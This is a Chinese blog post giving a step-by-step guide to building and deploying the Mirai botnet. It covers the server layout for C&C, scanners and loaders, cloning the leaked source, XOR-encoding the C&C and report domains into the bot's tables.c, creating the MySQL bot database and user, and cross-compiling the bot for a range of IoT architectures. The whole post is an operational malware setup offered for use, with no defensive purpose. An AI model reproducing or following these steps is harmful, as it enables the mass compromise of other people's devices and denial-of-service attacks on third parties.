LoliMashiro
二次元真是太美好了呜~~
LoliMashiro

编译Mirai-Botnet

编译&配置需求

最低限度

2台服务器: 一台用于 CNC + mysql ,一台用于扫描 ,加载

专业设置

2台VPS和4个服务器

1 VPS,数据库服务器1 VPS,用于扫描接收器和分配器1台用于CNC的服务器(2%CPU可加载40万个机器人)3 个 10gbps NForce 服务器用于加载(分发服务器平均分配到 3 个服务器)

安装依赖

apt-get install git gcc golang electric-fence mysql-server mysql-client

下载源码

git clone https://github.com/jgamblin/Mirai-Source-Code

编译加密脚本

cd mirai/tools && gcc enc.c -o enc.out

加密CNC域名和报告域名

./enc.out string cnc.mirai.com
https://mashiro-s-cdn.oss-cn-chengdu.aliyuncs.com/uploads/img/setup-mirai-1.png
./enc.out string report.mirai.com
https://mashiro-s-cdn.oss-cn-chengdu.aliyuncs.com/uploads/img/setup-mirai-2.png

配置机器人

编辑文件 “table.c”

vi ../bot/tables.c

将第 18 行、第 21 行中的字符串更改为加密域字符串。

void table_init(void)
{   // change below 4 lines
    add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 30); //cnc.mirai.com
    add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

    add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x4F\x4B\x50\x43\x4B\x0C\x41\x4D\x4F\x22", 29); // report.mirai.com
    add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

注意 字符串后面的数字也要更改,加密后会有”XOR’ing 17 bytes of data… “字样,更改为上面的数字即可

配置CNC

cd ../../scripts

edit file “db.sql”

vi db.sql

add string “use mirai;” in line 2, after “CREATE DATABASE mirai;”

CREATE DATABASE mirai;
use mirai;
CREATE TABLE `history` (
  ...

start mysql service

service mysql start

update mysql database with this script (root:root is the user & pass I’ve set in my Mysql-server)

cat db.sql | mysql -uroot -proot

add user to mysql

mysql -uroot -proot mirai

INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-pass', 0, 0, 0, 0, -1, 1, 30, '');

exit

edit file “main.go”

vi ../mirai/cnc/main.go

line 10 – line 14 set mysql user and pass here

const DatabaseAddr string   = "127.0.0.1"
const DatabaseUser string   = "root"
const DatabasePass string   = "root"
const DatabaseTable string  = "mirai"

交叉编译

现在您在“脚本”文件夹中,在Mirai根路径上创建文件夹

cd .. && mkdir cross-compile-bin
cd cross-compile-bin

下载交叉编译器

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2

安装后运行脚本

cd ../scripts
sudo ./cross-compile.sh

这里会提示要不要安装Mysql,之前已经安装过了,所以不用安装。

编辑 .bashrc 文件,在末尾添加以下内容

export PATH=$PATH:/etc/xcompile/armv4l/bin
export PATH=$PATH:/etc/xcompile/armv5l/bin
export PATH=$PATH:/etc/xcompile/armv6l/bin
export PATH=$PATH:/etc/xcompile/i586/bin
export PATH=$PATH:/etc/xcompile/m68k/bin
export PATH=$PATH:/etc/xcompile/mips/bin
export PATH=$PATH:/etc/xcompile/mipsel/bin
export PATH=$PATH:/etc/xcompile/powerpc/bin
export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
export PATH=$PATH:/etc/xcompile/sh4/bin
export PATH=$PATH:/etc/xcompile/sparc/bin

export GOPATH=$HOME/go

然后

mkdir ~/go

source ~/.bashrc

编译Bot&CNC

安装Golang所需依赖

go get github.com/go-sql-driver/mysql
go get github.com/mattn/go-shellwords

编译Loader

cd ../loader
./build.sh

lolimashiro

文章作者

发表回复

textsms
account_circle
email

LoliMashiro

编译Mirai-Botnet
编译&配置需求 最低限度 2台服务器: 一台用于 CNC + mysql ,一台用于扫描 ,加载 专业设置 2台VPS和4个服务器 1 VPS,数据库服务器1 VPS,用于扫描接收器和分配器1台…
扫描二维码继续阅读
2022-10-04